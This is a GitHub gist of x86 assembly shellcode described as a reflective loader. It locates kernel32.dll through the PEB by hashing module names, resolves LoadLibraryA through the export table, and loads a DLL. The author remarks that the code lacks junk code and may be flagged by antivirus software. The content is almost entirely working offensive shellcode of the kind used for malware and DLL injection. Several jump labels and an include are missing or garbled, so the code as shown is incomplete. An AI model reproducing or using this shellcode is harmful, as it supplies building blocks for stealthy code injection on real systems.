Instantly share code, notes, and snippets.

What would you like to do?
; Reflective Loader shellcode loading a DLL
; ===============================================
; Posted on by @ArnaudDlms
; Written in x86 ASM with Flat Assembler
; No junk code added so executable might be detected as malicious by AVs
; Host process must be 32-bit
; Inspired by the following C code by Stephen Fewer :
include ''
add esp, -40h
xor edx, edx
mov edx, [fs:edx+30h] ; Getting PEB structure
mov edx, [edx+0Ch] ; Getting a pointer to the PEB_LDR_DATA field
; struct PEB {
; BOOLEAN InheritedAddressSpace;
; BOOLEAN ReadImageFileExecOptions;
; BOOLEAN BeingDebugged;
; BOOLEAN Spare;
; HANDLE Mutant;
; PVOID ImageBaseAddress;
; --> PPEB_LDR_DATA LoaderData;
; [...]
mov edx, [edx+14h] ; Getting a pointer to the InMemOrderModuleList field
; struct PEB_LDR_DATA {
; ULONG Length;
; BOOLEAN Initialized;
; PVOID SsHandle;
; LIST_ENTRY InLoadOrderModuleList;
; --> LIST_ENTRY InMemoryOrderModuleList;
; [...]
mov esi, [edx+28h] ; Getting a pointer to the FullDllName field Unicode string
; struct LDR_MODULE {
; mLIST InLoadOrderModuleList; // Pointer to the next LDR_MODULE in load order
; mLIST InMemoryOrderModuleList;
; mLIST InInitializationOrderModuleList;
; PVOID BaseAddress; // HMODULE
; PVOID EntryPoint;
; ULONG SizeOfImage;
; --> UNICODE_STRING FullDllName;
; [...]
mov ecx, 18h
xor edi, edi
xor eax, eax
lods byte [esi]
cmp al, 61h
jl hash_next
sub al, 20h
ror edi, 0Dh
add edi, eax
loopd hash_loop
cmp edi, 6A4ABC5Bh ; Comparing with 'kernel32.dll' hash
mov ebx, [edx+10h] ; Saving the BaseAddress field, pointing to a IMAGE_DOS_HEADER struct
mov [ebp-4], ebx
mov edx, [edx] ; Next LDR_MODULE
jnz dllname_loop
mov ecx, [ebx+3Ch] ; Saving e_lfanew field
add ecx, ebx ; VA of NT Header modules. ebx -> NT Header ("PE...")
add ecx, 18h ; OptionalHeader field
add ecx, 60h ; DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] field (32-bit, 70h for 64-bit)
mov [ebp-8], ecx
mov ecx, [ecx] ; Getting VirtualAddress field
add ecx, ebx ; RVA -> VA of the Export Directory
push ecx
add ecx, 24h ; AddressOfNameOrdinals
mov ecx, [ecx]
add ecx, ebx ; RVA -> VA : Ordinal names array. We will use ordinals to locate the position in the AddressOfFunctions array
mov [ebp-12], ecx
pop ecx
push ecx
add ecx, 1Ch ; AddressOfFunctions
mov ecx, [ecx]
add ecx, ebx
mov [ebp-16], ecx
pop ecx
add ecx, 20h ; AddressOfNames field
mov ecx, [ecx]
add ecx, ebx ; RVA -> VA : Function names array
mov edx, [ecx]
add edx, ebx
mov esi, edx
functionnames_loop: ; Iterating through all function names to locate LoadLibraryA address
push ecx
mov ecx, 18h
xor edi, edi
hashnames_loop: ; Same hashing routine
xor eax, eax
lods byte [esi]
cmp al, 61h
jl hashnames_next
sub al, 20h
ror edi, 0Dh
add edi, eax
loopd hashnames_loop
cmp edi, 117B18BAh ; Comparing with 'LoadLibraryA' hash
pop ecx
jz name_found
add ecx, 4 ; Next function name
mov edx, [ecx]
add edx, [ebp-4]
mov esi, edx
mov edx, [ebp-12] ; Next function name ordinal
add edx, 2
mov [ebp-12], edx
jmp functionnames_loop
mov edx, [ebp-16] ; AddressOfFunctions array
add edx, [ebp-4] ; BaseAddress
xor eax, eax
mov ecx, [ebp-12] ; AddressOfNameOrdinals
mov ax, [ecx]
mov edx, 4
mul edx ; eax = ordinal*sizeof(DWORD)
mov edx, [ebp-16]
add edx, eax
mov edx, [edx]
add edx, [ebp-4] ; edx now contains the LoadLibraryA function's address
mov [ebp-29], byte 0
mov [ebp-30], byte 'l'
mov [ebp-31], byte 'l'
mov [ebp-32], byte 'd'
mov [ebp-33], byte '.'
mov [ebp-34], byte '1' ; DLL you want to load
lea eax, [ebp-34]
push eax
call edx ; LoadLibraryA
invoke ExitProcess, 0
.end start

This comment has been minimized.

Copy link
Owner Author

adelmas commented Aug 15, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment